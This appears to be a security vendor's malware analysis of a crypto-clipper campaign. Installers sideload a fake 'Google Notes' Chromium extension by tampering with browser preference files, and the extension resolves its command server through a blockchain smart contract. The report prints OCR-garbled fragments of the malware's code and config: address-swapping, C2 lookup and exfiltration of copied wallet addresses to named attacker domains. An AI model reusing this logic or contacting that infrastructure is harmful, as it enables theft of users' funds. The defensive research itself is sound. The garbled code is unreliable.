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Executive Summary

McAfee Advanced Threat Research has identified an active browser-extension campaign designed to steal
cryptocurrency by silently substituting wallet addresses the moment a user initiates a transaction. The
campaign is delivered through unsigned installers — observed in both .NET and Golang variants — that deploy a
malicious Chromium extension masquerading as a benign “Google Notes” utility.

This campaign is related to a previous blog published by McAfee Labs, Sinkholing CountlLoader: Insights into Its
Recent Campaign, as the threat actor appears to be the same behind both operations. In that earlier research,
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we analyzed a crypto clipper payload that was injected directly into memory. Here, we examine a different variant
of the final-stage payload: a browser-based malicious extension designed to intercept and manipulate
cryptocurrency transactions.

In this report, we detail how the extension operates and provide a technical analysis of the mechanisms that
make this threat particularly unique. The extension behaves as a clipboard-aware crypto clipper:

it monitors copy-and-paste activity, identifies wallet addresses across multiple blockchains, and swaps them for
attacker-controlled addresses just before the victim pastes the content. Because most Blockchain transactions
are irreversible, even a single uninterrupted execution is enough to cause permanent financial loss.

Two characteristics elevate this campaign above the typical clipper threat:

1. Chromium trust-layer abuse. The installer secretly forces a malicious browser extension into Chromium-
based browsers like Google Chrome, Brave, and Microsoft Edge by modifying protected browser settings
files. Normally, these browsers store security verification data (hash/HMAC values) alongside sensitive
settings to detect unauthorized changes. The malware recalculates and updates these security values after
tampering with the files, tricking the browser into believing the malicious extension was installed legitimately.
This allows the extension to bypass the normal extension web store installation process and load silently
without user approval. However for updated Chrome and edge browser, Victim must manually turn on the
developer mode for the extension to load properly, but people with outdated versions of chromium based
browsers, remain at high risk. Moreover, for latest versions as well threat attacker can employ social
engineering tactics to enable developer mode.

2. Blockchain-resolved command-and-control. The extension does not contain a hardcoded C2 domain.
Instead, it queries a public blockchain RPC endpoint, invokes a read-only smart-contract method, and
decodes the response at runtime to reveal its active C2 observed at the time of analysis as Zebregts[.Jcom
This technique, often referred to as “EtherHiding,” complicates takedown efforts because the attacker can
rotate infrastructure by updating a smart-contract value rather than redeploying malware.

McAfee telemetry indicates a globally distributed infection footprint with a pronounced concentration in India. The
breadth of the geography suggests opportunistic targeting of consumer cryptocurrency users rather than a
region-specific operation.
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Geographical Prevalence

Country Based Prevelance

Our research shows that these are the most affected regions of the globe.

Telemetry analysis indicates thatinfections are globally distributed, with a significantly higher
concentration observed in India compared to other regions.

The widespread geographic presence highlights the campaign’s broad reach, suggesting opportunistic targeting
rather than a region-specific attack.

The Malicious Extension: “Google Notes”

This malware is masquerading as a seemingly harmless Google Notes extension.
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Figure 1. This image shows the malicious extension at the center of this campaign

The dropped extension presents as a minimalist, legitimate-looking note-taking application branded as “Google
Notes,” complete with a clean icon and a functional (& simplistic) user interface.

The cover is calculated: a user who manually opens the extension finds something that behaves as advertised,
dampening suspicion. The extension’s malicious logic is implemented in background service-worker scripts and
content scripts that operate entirely out of view of the UlI.

A major red flag first appears when adding the extension, which requests security permissions and
access that are disproportionate to a typical notes application:

o Access to all URLs , granting content-script injection into every site the user visits.
* Browsing history access.
+ Read and write access to the clipboard.
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Mitigation and Recommendations

For Consumers

1. Before confirming any cryptocurrency transaction, visually verify the first and last six characters of

the recipient address against the original source — ideally on a separate device. This single habit defeats

the overwhelming majority of clipper attacks.

2. Install browser extensions exclusively from the official Chrome Web Store, Edge Add-ons store, or
equivalent. An extension that appears in your installed list without a clear memory of having installed it
should be treated as suspicious.

3. Review the permissions granted to every installed extension. A note-taking tool has no legitimate need

for access to all websites, browsing history, or the clipboard.

4. Avoid running unsigned executables obtained from non-authoritative sources, particularly those offering

free or cracked versions of paid software — a common delivery vector for this category of installer.

5. Keep endpoint protection up to date and enabled; McAfee customers are protected against this specific

campaign as described below.

McAfee security solutions help safeguard users at multiple levels:

1. McAfee detects this threat as CryptoStealer.NE and keeps our customers safe

Resolved threats (1)

Trojan:Win/CryptoStealer.NE

File location:
C:\Users \unknown \ Desktop \ sample \ 53f78aaeee64a69fab57f25c96eb0
5e176a06e32f59977e6372aed3f388allaf~\BaseZipinstaller.exe

Date | Time: 04/13/2026 10:18 PM

Status: Quarantined

L McAfee @ Accoun
=  Antivirus

o

T Unresolved threats (0) Resolved threats (1)

Figure 2. This image shows McAfee Antivirus blocking this threat for consumers.

2. Malicious Download Protection

The installer’'s behavior—downloading and executing remote payloads—is flagged and blocked by
McAfee before infection completes. All the malicious domains and URLs are blocked by McAfee in our tests.
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3. Network Protection

Connections to known malicious infrastructure (C2 servers) are blocked by McAfee, preventing Wallet address
retrieval

4. Real-Time Threat Intelligence

Because this threat was identified in McAfee telemetry, protections can be rapidly deployed to:

e Block similar variants
o Detect related infrastructure
¢ Protect customers globally

How The Threat Campaign Works

What the Malware Does

1. Installs a browser extension silently (web extension sideloading)

2. Monitors what you copy and paste (especially crypto addresses)

3. Works when you are making a crypto transaction

4. Silently replaces the wallet address with the attacker’s address

5. Your funds are sent to the attacker instead of the intended recipient

Because cryptocurrency transactions are typically non-reversible, victims may permanently lose funds.
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Figure 3. How the extension works in a nutshell

Key Capabilities Identified

1. Silent Extension Installation

The malware does not use the official browser store. Instead, it directly modifies browser files to make the
extension appear installed. (Sideloading Browser Extension)

This bypasses normal security prompts and user awareness.

¥ BaseZipinstaller exe 4512 [/ WriteFile C\Users\unknown\AppData\L ocal\Google\Chrome\User Data\Defaulf\ Secure Preferences
¥ BaseZipinstaller axe 4512 [~ | WmeFile C\Users\unknown\AppData\l oc al\Google\Chrome\User Data\Defaulf Secure Preferences
¥ BaseZipinstaller exe 4512 [~ |WrieFile C\Users\unknown\AppData\L ocal\Google\Chrome\User Data\Defaulf\Preferences

® BaseZipinstaller exe 4512 [~ WriteFile C\Users\unknown\AppData\Local\Google\Chrome\User Data\Defaulf\Preferences

¥ BaseZipinstaller exe 4512 [~ WriteFile C\Users\unknown\AppData\lL ocal\Google\Chrome\User Data\Default\Preferences

¥ BaseZipinstaller exe 4512 [=|WriteFile C\Usersiunknown\AppDatall ocal\Google\Chrome|User Data\DefaulfiPreferences

W BaseZipinstaller exe 4512 [~/ WriteFile C\Users\unknown\AppDatall ocal\MicrosofEdge\lUser Data\Defaulf Secure Preferences
® BaseZipinstaller exe 4512 [~ | WrteFile Cl\Users\unknown\AppData\lL ocal\Microsoff Edge\User Data\Default| Secure Preferences
¥ BaseZpinstaller exe 4512 [~ WriteFile C\Users\unknown\AppDatallL ocal\MicrosofEdge\User Data\DefaulfiSecure Preferences
¥ BaseZipinstaller exe 4512 [~ WriteFile C\Users\unknown\AppData\lL ocal\MicrosofEdge\User Data\Defaulfi Secure Preferences

Figure 4. Procmon logs showing BaseZipInstaller (malicious web installer) writing into Chrome and Edge secure preference files
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2. Full Browser Access

Permissions

e Read and change your browsing history on all your signed-in devices
* Block content on any page

¢ Display notifications

* Read and modify data you copy and paste

Site access

Allow this extension to read and change all your data on websites you visit: @

Figure 5. Chrome extension Permissions required

hse‘l‘lings,is G.npopupus t.3|- popup-html ﬂ.npnpup.js r.3|-inte1ceptm.js 1 M manifestjson B

2 "manifest version®: I,

3 n : "Google Notes",

4 we w1 4w,

5 desc ": "Quick notes and reminders synced across your browser., Create, edit and organize notes instantly.",
= ¥

7 1 nlé.png”,

8 e P

g " cons/icond8.png™,

10 "icons/iconl28.png

1 ) : "popup/popup.html”,
14 H "default_icon": {

"16": "iconsy nlé.png",

16 "32": "icons/i 2.png",

17 "48": "icons/icon48.png"

1€ F be

19 "defa:lt_title": "Google Notes"

21 I;—_ "permissions": [

22 "storage",

23 "alarms",

24

26 "clipboardWrite™

2 1

28 E "host_permissions": [

29 "<all urls>"

30 o1,

31 |:—_ "background": {

32 "service_worker": "src/background/service-worker.js",
33 "type": "module"

34 1.

Figure 6. Manifest file for web extension

The malicious extension requests excessive permissions such as:

¢ Access to all websites
* Reading browsing history
¢ Reading and modifying clipboard content

3. Crypto Address Interception

The extension contains logic to detect wallet addresses across multiple cryptocurrencies, including:
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[ crypto-patiernsjs B
1 = t CRYPTO_PATTERNS = [
T : { regex: ', validator: ' .

BT regex: ', validator: I
T { regex 1 , validator: h3z' },

3 fk', walidator: }.
- B_Q: { regex: ' : : ', fallback: i T £ ', validaror: °* k.
P { regex: ' t t ¥, validator: ‘ca idr' )},

LT { regex: WRj', walidator: °* N
T { regex: ' (b fF', valida € I

: { regex: ' k t 1 r: ' "1,
: { regex: ' vali '
walid, '},
val M
i d 3 F Qeny valida .
'y fallback: 'DHGEW I ', validator: ' "1
. I 4 } ', validator: '
, fallback: 'Ox 10484 k ¥ ¥ 6, validator: m' },
. ', fallback: f 1 Wp3qs OV ZACWGHW w', validator: I
4, ', fallback: M HzNT', validator: ' |
, fallback: '4555¢ IVRVER £ ', walidat i
:EQ ', fallback: 'UQ A M . B t U ', validator: N
C : { regex: " ', fallback: ' 1 W ¥ ', validator: 1
|

Figure 7. Hardcoded cryptocurrency Regex and fallback address

+ The fallback wallet addresses shown in the code are not used for every transaction; instead, they serve as a
backup mechanism when dynamic address retrieval from the attacker-controlled server fails.

+ Under normal operation, the extension fetches replacement addresses from a remote server, enabling
dynamic and potentially per-victim wallet assignment.

o Fallback addresses ensure the attack remains functional even if the command-and-control infrastructure is
temporarily unavailable or blocked.

export async function getReplacementdddress{originalfddress, cryptoType) { originalAddress = "37198t1WpEZ73CNmQviecrnyiWrngRhWNLY™, cryptoType = “BTC_P2SH"
m const cached
if (cached) retu
t pattern = CRYPTO_PATTERMS[eryptoType]; pattern = {regex: °(3[a-km-zA-HI-NP-21-9](25,34]})", fallback: °3IAcPNVATNyESWXIECymy3rkdHdKe2e26T4', validator: ‘baseS8'}, ery
t fallback = pattern?.fallback || originalAddress; fallback = “3AcPNVhTNyESWXIECymy3rkdHdKe2c26T1", originalAddress = “3)98t1WpEZ73CNmQviecrnyiWrngRhkNLy "~
{
onst response = await serverfequest( method ndfaddress=${encodeURIComponent (originalAddress)} ); response = "31vDBvKbSEYYME jVIRIeIZFIETFIETFNLY", originalAddress = =
const result = response.trim() || fallback; result = "3JvDBvEbSEYYMKIVIR9eDZFIE7FA6TFNLY™, Fallback = ~3IAcPNVhTNyESwNIECymyIrkdHiKe2c26T§"
awalt cacheSet(originalAddress, result); originalAddress = “3]98tlWpEZ73CNmQviecrny ikrngRhWNLy "
Peturn result;
} catch {
await cacheSet(originalAddress, fallback);
return fallback;

t

cacheGet(originalAddress); cached = null

cached;

Figure 8. Malicious extension performing dynamic crypto address resolution

¢ This function is responsible for obtaining the attacker-controlled replacement wallet address corresponding
to a victim’s original address.

* |t sends the intercepted wallet address to the attacker backend and uses the response to dynamically
substitute the original address.

« |f the backend request fails, the function falls back to a predefined hardcoded wallet address, ensuring
uninterrupted malicious activity.

o 3J98t1Wxxxx is the address that was copied in the clipboard
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4. Detection evasion and stealth

B oveto-pattemsjs 3 [l interceptorjs (3 [ settingss E.'J]

—jexport const CONFIG = {
3 RPC URL: 'https: lata-seed-pre .k

4 CONTRACT ADDRESS: 'OxCéldaRdr E91969fd3f

: CONTEACT METHOD: X3bcodesn’,

DOMAIN REFRESH INTERVAL MINUTES: .
CACHE: { MAX SIZE: , TTL_MINUTES: ¥,
REQUEST TIMECQUT MS:

| BLACKLIST: [

'

Figure 8. Settings.js file which shows config

o The configuration includes a hardcoded API key, which is used by the extension to authenticate

communication with attacker-controlled infrastructure.

* An RPC URL pointing to a public blockchain node is leveraged to dynamically resolve backend server
information, allowing the attacker to hide critical infrastructure behind decentralized systems.

e The presence of a smart contract address and method indicates that the malware retrieves its command-
and-control (C2) domain indirectly via blockchain queries, making takedown and tracking more difficult.

» Blacklisted domains contains a list of blockchain inspection related websites where the web extension will
not work , this is done to not alert the victim while he is trying to paste his own address and view

the balance of his wallet or inspect his wallet transactions

37 export async function fetchServerDomain(forceRefresh = false) { forceRefresh = true
BED)  if (1forceRefresh) {

const cached = await getCachedDomain();

48 if (cached) return cached;

41 ]
a2 try {
const response = Bawait Drfetch(CONFIG.RPC_URL, { response = Response {type: ‘basic’, urj:

method: 'POST",

‘https://data-seed-prebsc-1-sl.binance.org:8545/", *diren

45 headers: { ‘Content-Type': ‘application/json’ },
body: JSON.stringify({
47 jsonrpc: '2.8°,

id: 1,
49 - eih o colls
] I params: [{ to: CONFIG.CONTRACT_ADDRESS, data: CONFIG.CONTRACT_METHOD }, ‘latest'] I
51 !
52 }i
const json = await response.json(); jsom = {jsonrpc: "2.8°, id: 1, result: '@x988

if (json.error) throw new Error(json.error.message);

if (!json.result || json.result === "8x') thr] - N —— ract');
const domain = decodeEvmString(json.result); Qdomain = “devops-offensive.cc”

if (1/*[a-zA-20-9][a-zA-78-9.-]*\.[a-zA-2]{2,

throw new Error(’'Invalid domain format: ' + domain);
}
(] await saveCachedDomain(domain);
61 return domain;
Y} ratch (eeear)

208 aaed 2808 Lf 736976652e636

Figure 9. Resolving attacker C2 domain via Ethereum smart contract (etherhiding)

The response to above query is a long-encoded string which contains the malicious domain.
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X Headers Payload Preview Response Initiator  Timing

* Request Payload View source

¥ {jsonrpc: "2.0", id: 1, method: "eth_call”,..}

id: 1

jsonrpc: "2.8"

method: "etbh _call.

» params: [{to: "@xC61daAdBB85E91969fd3f75bA5Sbb464Dad4836C47", data: “Ox3bc5de30"}, “latest”]

Figure 10. Request payload with Ethereum contract address

Dynamic analysis revealed that the malware resolves its command-and-control domain via a blockchain
smart contract, which returned the domain devops-offensive[.Jcc at runtime.

The response from the blockchain is decoded at runtime, revealing the active C2 domain (devops-
offensive.cc).

This domain is not hardcoded, enabling the attacker to update infrastructure without modifying the
malware.

The resolved domain is cached locally to maintain persistence and reduce repeated network queries.

X Headers Payload Preview Response Initiator  Timing
- —
- "jsonrpc”: "2.8",
"id": 1,
- "result”: "@x000000000000000000000000000000000000000D0C00000000D00000000002000000000000000000000000000000000800000000000)
-}

Figure 11. This image shows the long-encoded string with the malicious domain

This Long—encoded string is decoded using this function to give the final attacker domain.

function decodeEvmString(hexData) { hexData = ™

m const data = hexData.BstartsWith( @x") ? hexData.Dslice(2) : hexData; data = “00009808 oa 200 e 20,
if (data.length < 128) throw new Error( Invalid EVM string');
] const offset = parselnt(data.slice(®, 64), 16); offset = 32
9 const lengthPos = offset * 2; lengthPos = 64
18 const length = parselnt(data.slice(lengthPos, lengthPos + £4), 16); length = 19, data = "000& St aa o0 2000 008

11 const stringHex = data.slice(lengthPos + 64, lengthPos 4+ 64 + lenmgth * 2);
12 let result = ''; result = “devops-offensive.cc”

13 for (let i = @; 1 < stringHex.length; i += 2) { stringHex = "6465766F70732d6f6666656e736976652e6363"
const code = parselnt(stringHex.slice(i, i +[™7
15 if (code) result += String.fromCharCode(code];

stringHex = "6465766F70732d6F6666656e736976652e6363"

™

result = “devops-offensive.cc”

16 }
return result;
18 1

19

Figure 12. This image shows the final attacker domain

Persistence and Evasion Techniques

The campaign’s persistence and evasion posture is deliberate and layered. The operator has
clearly optimized for two properties: low visibility to the end user, and high resilience against takedown and static
analysis.
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Persistence

o Extension registration through Secure Preferences tampering ensures the extension loads on
every subsequent browser launch without requiring any auxiliary Windows persistence mechanism — no
registry Run keys, scheduled tasks, or services that endpoint hunters typically inspect.

e Developer mode is enabled programmatically where required, allowing unpacked extensions to persist
without triggering the periodic “unpacked extensions warning” flow that Chromium displays to dissuade
sideloading.

e The cached C2 domain allows the extension to continue operating against a known-good backend even if
the blockchain RPC endpoint is briefly unavailable.

Evasion

o The extension’s visible identity — a simple “Google Notes” note-taking application — provides plausible
cover against casual inspection of the installed extensions list.

o Recomputed HMAC values satisfy Chromium'’s integrity verification, avoiding the “extension installed by an
unknown source” warning banner that would otherwise alert the user.

o The installer self-deletes after execution, removing the most obvious on-disk indicator of initial compromise.

o C2 resolution through a public blockchain means that there is no persistent C2 domain observable in the
malware bundle itself; network-based detections built against hardcoded indicators will not fire until the
domain is resolved and contacted.

o Multi-language installer variants (.NET and Golang) reduce the effectiveness of compile-artifact and binary-
feature signatures.

o Per-address dynamic wallet substitution means that published attacker addresses age rapidly
and do not generalize into durable blocklist entries — the defender must block the backend service itself, not
the addresses it dispenses.

Wallet Substitution Logic

The clipper logic sits in two layers: a content-script layer that monitors clipboard activity and DOM input fields
across every visited origin, and a background layer that communicates with the attacker backend to retrieve
replacement addresses.

When the extension observes a copy event, it applies a set of cryptocurrency-specific regular expressions to the
clipboard payload. If a match is found, the intercepted address is transmitted to the attacker’s backend over an
authenticated request (authenticated with the APl key embedded in the configuration). The backend responds
with a replacement address specific to the submitted original, and that replacement is written back to the
clipboard, overwriting the legitimate address before the victim can paste.

Testing against a reconstructed backend client — built by re-implementing the extension’s request format and
response-decoding logic in Python — produced a revealing behavioural profile:

o Bitcoin (BTC), Ethereum, Bitcoin Cash, Ripple, and Dash: Each submitted address is mapped to a
unique attacker-controlled address. Re-submitting the same original returns the same
replacement, indicating a deterministic one-to-one mapping maintained server-side.

o Solana: All submitted addresses collapse to a single attacker address, suggesting the per-victim mapping
feature is selectively implemented per chain
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Analyzing Attacker Crypto Wallets

Based on the code snippets from the web extension responsible for retrieving replacement addresses, a Python
script was prepared to programmatically extract attacker wallet addresses. The payload was crafted using the
attacker’s own code, and the “get replacement address” snippet was lifted directly from it. The attacker’s logic for
decoding data received from the C2 server was also faithfully reimplemented in the script.

The script was then executed using a few test Bitcoin (BTC) wallet addresses. The results showed that for every
Bitcoin address provided, a unique Bitcoin address was returned in response, and all of these returned
addresses were valid BTC wallets. This indicates that for every BTC address supplied, the attacker dynamically
generates a new wallet tied to that specific input address. Furthermore, when the same address was provided
again, the same BTC address was returned — confirming that each victim BTC address is deterministically
mapped to a single, specific attacker-controlled address. While some of these attacker

wallets contained funds and others were empty, the unknown total number of attacker wallets makes it difficult to
put a reliable estimate on how much cryptocurrency has been stolen overall.

The same behavior was observed for Ethereum, where different wallet addresses were returned for each input.
Interestingly, when the script was tested with Solana addresses, only a single address was returned regardless
of how many different inputs were provided. This suggests that the attacker has implemented the per-address
mapping feature only for specific cryptocurrencies, while others fall back to a single static drop wallet. Because
the Solana address is shared across all victims, a noticeable bump in its balance is visible. Additionally, one of
the Ethereum addresses uncovered was found to be holding approximately 1,902 USD worth of funds.

In summary, the cryptocurrencies for which unique per-victim wallet addresses are generated include Bitcoin,
Ethereum, Bitcoin Cash, Ripple, and Dash.

settingsjs  domain-resolverjs X api-clients

- def ):

- export async function fetchServerDomain(forceflefresh = false) {
payload = { i flefresh) {
. ! ched = await getCachedDomain);
o " if (cached) return cached;
ol [ 1}
{ try {
: CONTRACT ADDRESS, const response = await fetch(CONFIG.RPC_URL, {
": CONTRACT METHOD ) nethod: “P(ST",
b headers: { ‘Content-Type': ‘application/json’ },
R body: 50N, stringiy({
] jsonrpc: "2.0°,
} id: 1,
r = requests.post (RBC_URL, json=payload, timecutw10) method: “eth call’,
result = r. con() | t"] params: [{ to: CONFIG.CONTRACT_ADORESS, data: CONFIG.CONTRACT METHOD }, 'latest’]
domain = decode evm string(result) l 1
print (£"[+] €2 Domai domain}”)
return domain const json = await response.json();
if (json.error) throw new Error(json.error.message);

Fig 13. Payload was crafted as attacker code
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Il

3L export async function getReplacementAddress(originalAddress, cryptoType) {
3 const cached = await cachebet(originalAddress);

33 if (cached) return cached;

W const pattern = CRYPTO_PATTERNS  cryptoType];

35 const fallback = pattern?.fallback || originaldddress;

] def IJe:'_:Eplgce:::en:[dol_mm, ndclxes_s] : . . 3% try {
1 ::_;_' domain if domain.startsvith(htep”) else f™htps://{domain)” 3 const response = await serverRequest{"nethod=sendiaddress=${gncodelRIComponent (originalAddress) ') ;
] resp = requests,post( . 3 const result = response.tedn() || f4llback;
:iiéu p— 3 await cacheSet(originalAddress, result);
data=f"method=sendsaddress=|{quote (address) |~ ] return result;
- \ timecut=10 i } cateh |
= return resp. text,strip & auait cacheSet(originalAddress, fallback);
] except Exception as e: .
print (f"['] Error querying (address}: (e]") s return fallback;
- return None “ }
6§}
TV dal mnia " 14
Fig 14. Getting the replacement address code snippet taken from attacker code
4
' REC_URL = “hctps://daca-seed-prebsc-1-s1.binance.org:8545" 5 function dewdEEWStri"g[h“Data) {
CONTRACT_ADDRESS = "0xC61daAdB8SES1969£d3£75bASbb464Dad4836C4T" 6 const data = hexData.startsWith('@x') ? hexData.slice(2) : hexData
CONTRACT NETRON = “OxSbeSied) 7 if (data.length < 128) throw new Error(Invalid EWM string');
1 3 const offset = parselnt(data.slice(0, 64), 16);
HEADERS = | R .
"Content-Type™: “application/x-www-form-ur 9 const lengthPos = offset * 2;
"Authorization®: “0ala7afl-d3bl-4494-alld- [ const length = parselnt(data.slice(lengthPos, lengthPos + 64), 16)
! 1 const stringHex = data.slice(lengthPos + 64, lengthPos + 64 + leng
2 let result = ',
del decode_evm string(hex_daca): e . -
data = hex_data[2:] if hex_data.startevich(0x") else hex_data 3 for (let 1 = ; 1 < stringHex.length; 1 += 2) {
offset = int(daca[:64], 16) 4 const code = parseInt(stringHex.slice(i, i + 2), 16);
length pos = offset + 2 - .
Lengeh = nt (dacaLengeh pos:lengeh peseéd], 16) 5 if (code) result += String.fromCharCode(code);
string hex = data[length_pos+&d:lsngth_pos+6d+lengthe2] 6 }
return bytes, frombex(string_hex) .decods(errors="ignore”) 7 return result;
8 1

Fig 15. Attackers’ logic of decoding received data from C2 was also implemented

Running script with few test Bitcoin Wallet addresses
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[+] C2 Domain: devops-offensive.cc
[+]Querying only for test bitcoin address

Querying for: bclgmwlehySwrkg@Seh3m277au3z96dqéwfk70u28l
Replacement: bclqvw9llpqz279aeq@udratrgmtvimzjlu723kx8x

Querying for: 14pEhrYWVXtMtH7g3QjYiTODRLWNbp4cCK
Replacement: 183bYTDs5SSn529k8E4alGYksSKVWBTcLY

Querying for: bclqzrwyéy@2etffmrun9twfm2ehghsjréghlwjsze
Replacement: bclgke2rnuuwj64z8jwfowryksxfnvuyxévqgpkcimqg

Querying for: 1PLd63yQoJINvP8sGHgGY32al3xr6cEdmTQ
Replacement: 1HS58xbpmcLvzFodrYXCwz3rUi63SXu7+bQ

Querying for: 3JElxWcrTndnHXqv83Vvgcasebf3wrqlZD
Replacement: 3DRfnZQUSqgnCEQ4YsTj2Z9KYXR7GCPLBC

Querying for:| bclgmwlehy9wrkq@9eh3m277au3z96dgéwfk70u28l
Replacement: bclqvwSllpqz279aeq@udratrgmtvimzjlu723kx8x

UNIQUE ATTACKER Wallet addresss ===
bclqvw9llpqz279aeqludratrgmtvimzjlu723kx8x
183bYTDs555n529k8E4a1GYksSKVwW8TcLY
1H58xbpmcLvzFodrYXCwz3rui63SXu7+bQ
3DRFNZQUSqENCEQAYsFj2Z9KYXR7GCPLBC
bclgke2rnuuwj64z8jwfowryksxfnvuyxévgpkcimg

Fig 16. For every unique Bitcoin address was returned and all addresses are valid BTC wallet addresses
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[+] C2 Domain: devops-offensive.cc
[+]Querying only for test ETH address

Querying for: ©x1lbcld5b8c70e0dc23b534145572a113413990a22
Replacement: ©x507132FOF8707f8F5e6895559E355E268772126d

Querying for: ©xda97feca8986b886baaba7cbbd18d314d473d838
Replacement: ©Oxb3f2D3d571ab5fa864E18900DcD2324db7¢c24409

Querying for: ©xbeelS56alf@c92alcldaSb31595e4b88d163dcccc
Replacement: ©x30a8E094e322dobde88Df8e2AE2A8455CE642eB8

Querying for: ©x45bc3755aaa8552b5b84148757739ba8al2a8787
Replacement: ©x6e55487a7b29b7dAA881bFbASAed44eCcE2B774b9

Querying for: ©x38bf78dc776f311fccdelcf63017d9615Ff5bf58a
Replacement: ©x041B6709f8f6BAcec769733022f60814700598F4

Querying for: ©xd2d2c325d2001d77603d87190d03217d313d4aad
Replacement: ©x7660985D4C74EB8ASD4c3099be85C1A20Ca26b37

UNIQUE ATTACKER Wallet addresss ===
. ©x30a8E094e322d0bde88DT8e2AE2A8455CE642eB8
. ©Xx7660985D4C74EB8ASD4c3099be85C1A20Ca26b37
. ©xb3f2D3d571ab5fa864E10900DcD2324db7c24409
. Bx6e55487a7b29b7dAA881bFbASAe44eCcE2B774b9S
. ©x507132FOF8707f8F5e6895559E355E268772126d
. Ox041B6709f8F6BACec769733022f60814700598F4

Fig 17. Similarly, Ethereum saw unique addresses
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[+] C2 Domain: devops-offensive.cc
|[+]Querying only for test SOLANA address

e

[*] Querying for: FNKgX9dYUhYQFRTMSbkeKoRpsyEtZGNMxbdQLDzfqB8a
[+] Replacement: CcijrCfZBugDzBWp3gSrBEZCqBUFQVz4CWGHWF91iaEw

Querying for: HbidP4hpQdwhkzrxder3x3VNPt6DQnE25gFG46napD2p
Replacement: CcijrCfZBuqDzBWp3qSrBEZCqBUfQVz4CWGHWF91iaEw

Querying for: CoG8d9Fp2TFIRkAmrPMiPsGhQWHzdTTVoegEp9svRgmJ
Replacement: CcijrCfZBugDzBWp3qSrBEZCqBUfQVz4CWGHWFO1iaEw

Querying for: 5TGfVQV1S3wHEShkgGaQkRoPC7xZxiqwMcjQZxVYsfl]
Replacement: CcijrCfZBuqDzBWp3qSrBEZCqBUfQVz4CWGHWF91iaEw

Querying for: FBbgKvwLfKGZrKrfSbPJz4ymQ7zMarhRyZtulRBkSe89
Replacement: CcijrCfZBuqDzBWp3qSrBEZCqBUfQVz4CWGHWFO1iaEw

Querying for: 76rcGHdPvgs8G1XrzCXUTWtwgTSS9AFDvpB4VbTS2TBBI
Replacement: CcijrCfZBuqDzBWp3qSrBEZCqBUFfQVz4CWGHWF91iaEw

= UNIQUE ATTACKER Wallet addresss ===
. CcijrCfZBuqDzBWp3qSrBEZCqBUTQVz4CWGHWF91iaEw

Figure 18: Running Script for Test Solana Addresses

Luckily for Solana we are getting only 1 address when given multiple addresses. This shows that the attacker
has implemented this address mapping feature only on specific cryptocurrencies

Ccijr-TliaEw

Solana Address

CcijrCfZBugDzBWp3qSrBEZCqBUfQVz4CWGHWF91liaEw

Uil

Solana Balance

13.748083169 » $1142.05

Wallet

Fig. 19 Here you can see a bump in the balance amount
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Ethereum Balance

0x5Db-33b86

Ethereum Address

0x5Db7b10dB4827A346FaDF 3FE2aa8b2c7d4a33b86 )

0.000075413859934016 - s018

as transacted 7 times on the
<chain. It has received a total
1241737174 ETH $1,902.45 and
| of 0.803520650612123596

The current value of this
WMARTEATZACQQZAMIATTII

Wallet

Total Received @

0.804998381241737174 ETH
$1,902.45

Tokens

Total Sent @

0.803520650612123596 ETH
$1,898.96

Fig 20. The ETH address was found to have 1902 USD
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Technical Analysis for .net file (Extension installer)

Fig. 21 BaseZipinstaller is a .NET installer which is unsigned

w CFF Explorer VIl - [BaseZiplInstaller.exe]
File Settings ?
” v
I Property Value
[ @ Dos Head File Name C:\Users\unknown\Desktop\sample\53f78aaeeetdab9fab57f25¢96eb0...
(5 Nt Headers File Type Portable Executable 64 .NET Assembly
(&) File Header
@ File Info No match found.
(&) Data Drectories [x] File Size 236.50 KB (242176 bytes)
—— &) Section Headers [x] )
P 236.50 KB (242176
L2 ory E Size ( bytes)
£ Debug Drectory Created Monday 13 April 2026, 04.01.50
(2 NET Directory .
Modified Monday 06 April 2026, 07.04.28
E (& MetaData Header »
( MetaData Streams Accessed Monday 13 April 2026, 04.04.43
@ MD5 FIDSG9ATIE1 CAOF9452B7131326F 8639
(&) Tables Header
[ Tables SHA-1 F93A1ABBD12FOFB65E16D68BEG31EDFCH4075B958
— (@ #Strings
— & #Us
Property Value
— & #GUID
— (3 #Biob CompanyName BaseZipInstaller
— %) Address Converter FileDescription BaseZiplnstaller
— % Dependency Walker f
— ), Hex Editor FileVersion 1.0.0.0
— %) identifier InternalName BaseZipinstaller.exe
— &, import Adder _ -
— %, Quick Disassembler LegalCopyright
— %), Rebuilder OriginalFilename BaseZipinstaller.exe
— %hﬂm Editor 1
ProductName BaseZiplnstaller
ProductVersion 1.00
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Fig. 22 Stored Config as seen in Dnspy

o The malware embeds a complete configuration JSON directly within the binary, eliminating the need to fetch
initial setup data from external sources.

o This embedded configuration includes critical details such as API keys, backend server URL, targeted wallet
extensions, and the full extension manifest with extensive permissions.

Fig 23: Main function from where execution starts

The installer retrieves and validates a remote ZIP archive (google-services[.Jcc/base[.]zip), which serves as
the primary payload for deploying the malicious browser extension, marking the transition
from initial infection to browser-level compromise.
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Fig. 25: Dnspy showing the list of targeted browsers

o The installer iterates through multiple Chromium-based browsers, including Chrome, Edge, Opera, and
Brave, identifying available user profiles on the system.

o For each detected profile, the malware forcibly terminates the browser process to safely modify configuration
files without interference.

« It then injects the malicious extension by directly modifying Secure Preferences and Preferences, enabling
the extension to be loaded without user interaction.

21/37



folderPath
folderPath2

(folderPath,

(userDataDi

[e]l;

(userDataDir))

")))

The malware identifies browser installation paths by querying standard system directories, enabling it
to locate user data folders for Chrome, Edge, Opera, and Brave.

It systematically enumerates browser profiles and specifically looks for the presence of the Secure
Preferences file, which stores critical browser configuration and extension data.

By targeting profiles with Secure Preferences, the malware ensures it modifies only valid browser
environments, increasing the reliability of extension injection.

¥ BaseZipinstaller exe 4512 WriteFile C\Users\unknown\AppData\LocalGoogle\Chrome\User Data\Defaulf\Secure Preferences
¥ BaseZiplnstaller exe 4512 WriteFile C\Users\unknown\AppData\LocalGoogle\Chrome\User Data\Defaulf\Secure Preferences
¥ BaseZpinstaller exe 4512 WrnteFile C\Users\unknown\AppData\Local\Google\Chrome\User Data\Defaulf\Preferences
w BaseZipinstaller exe 4512 WniteFile C\Users\unknown\AppData\L ocal\Google\Chrome\User Data\DefaultPreferences
|1 [ BaseZipinstaller exe 4512 P
¥ BaseZipinstaller exe 4512 WiteFile C\Users\unknown\AppData\Local\Google\Chrome\User Data\Defaulf\Preferences
® BaseZipinstaller exe 4512 WriteFile C\Users\unknown\AppData\L ocal\Google\Chrome\User Data\Defaulf\Preferences
¥ BaseZipinstaller exe 4512 WrteFile C\Users\unknown\AppData\L ocal\MicrosoMEdge\User Data\Defaulf\Secure Preferences
